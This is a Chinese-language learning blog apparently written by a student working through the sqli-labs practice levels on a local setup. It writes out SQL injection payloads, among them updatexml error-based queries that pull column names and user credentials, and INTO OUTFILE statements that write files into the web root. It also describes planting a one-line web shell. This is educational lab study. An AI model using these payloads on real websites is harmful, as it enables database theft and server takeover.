碎碎念:我记得我之前是写了一章博客的,原来的几个考核wp和前两个less,为什么不见了,算了,那就从头开始吧。初学者,只能看自己的理解走头开始走了。(2019.4.19)
周末在打比赛,我的状态很差,在宿舍也几乎没有学习,现在回来一些状态,今天多学一点吧。(2019.4.22)
最初学,我们先要弄懂,为什么会有注入的存在。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这句话是从Less-1 index.php里面截下来的上传语句。为什么会发生注入,就是在提交id的信息的时候,我们是提交的信息,想id=1时,就把1提交到了id='$id'
中的&id里面,此时假设,id=‘& 。。
使双引号闭合,然后就会继续执行。。
这个语句。注入就从此开始。
当然语句不只有一种,我们要学会用不同的方法来找到上传语句,然后去改变其中的代码,然后注入我们想做的代码,这就是sql注入。
回归正题。
less-1
最开始我们都实验:
?id=1
我们需要传一个值进去然后看下一步
回显
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
emmm我觉得先别管,那我们就检测,这是什么提交,有些东西是正常提交,也就是可以直接注入,但是有一些,会讲提交的id转换为字符串类型,所以我们试一下
?id=2-1
回显
Welcome Dhakkan
Your Login name:Angelina
Your Password:I-kill-you
明显和第一个不一样,我们可以判断这个不是普通的数字形式了(该怎么表达?)
那就开始注入,看到我们最开始给的那个sql语句,是最基本的提交语句,所以我们要实验注入‘
会怎么样。
输入?id=1'
回显
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
最初我是搞不懂这个是什么意思的,这样我再把id提交的东西变一下,看看有什么不一样。
输入?id=4'
回显
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘4’’ LIMIT 0,1’ at line 1
这时我们就可以知道,上面语句中的双引号之中是我们提交的id值,那我们看之后。
LIMIT 0,1'
我最开始也是不知道是什么意思的,搜索一下
limit 0,1, 从你的表中的第0个数据开始,只读取一个;
也就是一串代码,我们可以发现在这个代码后面,还有一个'
。这就可以确定了,我们最初的语句是
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
用来括起来&id
的是在limit 0 ,1
后面的'
。
在此我们就找到了sql语句是什么,然后可以开始注入了。
刚刚去找了下less-6,发现自己的less-5和一些基本知识没过关,就回来补一下前面的知识吧。
这次明白一些了,直接上手'
,构造?id='
,看回显
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
然后找他的注入,我们一个个尝试id=1,2,3,4
发现1和2的回显是一样的,3和4是不同的,那我们接下来构造,3和4-1,发现回显是一样的,因为可以计算,我们推断这个的使用查询用了数字查询。
再看order by 查出也是3列
(遇到一个问题,我发现注释的过程中,要使union前面为假?
待我去问问子琳姐。)
之后就构造注释语句了,使用id=-1 or 1=-1
再像less-1一样爆数据库之类的就ok了
老规矩,上来先?id='
看回显重要部分
use near '''') LIMIT 0,1' at line 1
我们注意到是括号,就猜应该是括号括起来的。
尝试?id=1')
回显use near '') LIMIT 0,1' at line 1
确定是单括号形式
输入?id=1')--+
注入成功
?id='
无回显
?id=1'
返回正常
注入?id=1"
返回use near '"1"") LIMIT 0,1' at line 1
好的,把其中配对的单引号双引号消掉,我们发现就只剩下一个双引号和一个括号
那就把括号和双引号给闭合就可以了
就可以注入了
?id=1")--+
回显正常,开始注入
前4节是差不多的,我们接下来进入less-5
——————————————————————————————————————————
——————————————————————————————————————————
尝试?id=1,?id=2
之类,发现返回是”you are in。。。“
尝试?id='
发现回显use near ‘’’’ LIMIT 0,1’ at line 1
尝试?id="
发现无回显
配对单引号,发现多了一个’,
那就构造?id=1'
,加–+发现还是”you are in。。“说明构造正确,那就挂函数
重复几次发现挂查询数据库函数无效,那就找办法,用腾哥的函数
and updatexml(1,concat(0x7e,(database()),0x7e),1)–+
我们查询其中几个关键字
updatexml函数:
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
原文:https://blog.csdn.net/vspiders/article/details/77430024
concat函数
concat()函数
1、功能:将多个字符串连接成一个字符串。
2、语法:concat(str1, str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
这里在腾哥的博客里面大概意思就是把数据库名显示出来。
但是中间有两个~
查了很久0x7e是16进制转字符串的~,这里具体是为什么会这样还是有点不懂。
爆字段
?id=2' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
回显XPATH syntax error: '~USER,CURRENT_CONNECTIONS,TOTAL_'
这与updatexml长度限制有关,最长为32位
并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效
这句话没懂,记得问。
用limit限制
?id=2' and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 0,1),0x7e),1)--+
回显user
参考天书,这里是盲注的部分了
把新学习的函数加到另外一个博客。
爆username和password
?id=2' and updatexml(1,concat(0x7e,(select concat(username,'1',password) from users limit 0,1),0x7e),1)--+
试不同的几个发现是双引号,然后同上
尝试?id=1
发现回显
You are in.... Use outfile......
应该有所不同了
用文件注入,好的去看天书。
?id=‘
回显You have an error in your SQL syntax
告诉你语法错误但不说是哪里错了
前面的函数用,还是错误。尝试无果。
这里重复看过天书以后,是这样理解的,在文件的目录中注入一个文件,然后再注入一句话木马,用菜刀或者蚁剑这种软件连接之后就可以直接看文件源码了。
http://localhost//Less-7/?id=1’))UNION SELECT 1,2,’’ into outfile “d:\xampp1\htdocs\sqli-labs-master\Less-7\index.php”–+
这里写了一部分忘记发出去了,明天补回来。
文件注入要判断是否有管理员权限,这里有几个函数,根据返回的值是可以判断是否有管理员权限的。
and (select count(*) from mysql.user)>0 //如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0 //返回错误,应该是管理员给数据库帐户降权
(select count(*) from mysql.user)返回为用户个数
判断出有管理员权限就可以用into outfile语法构造注入语句
?id=-1')) union select 1,user(),database() into outfile "/...htdocs/sqli-labs/Less-7/1.php"
这时候界面会显示语法错误但是文件已经导出了。
第八和第七差不多,都可以用文件注入的方式.
尝试了许多分号都是You are in…
那看来应该是输入什么都是错的
我们看标题,base time。也就是基于时间,我们知道这里已经到时间注入了,那么我们继续去看背景知识。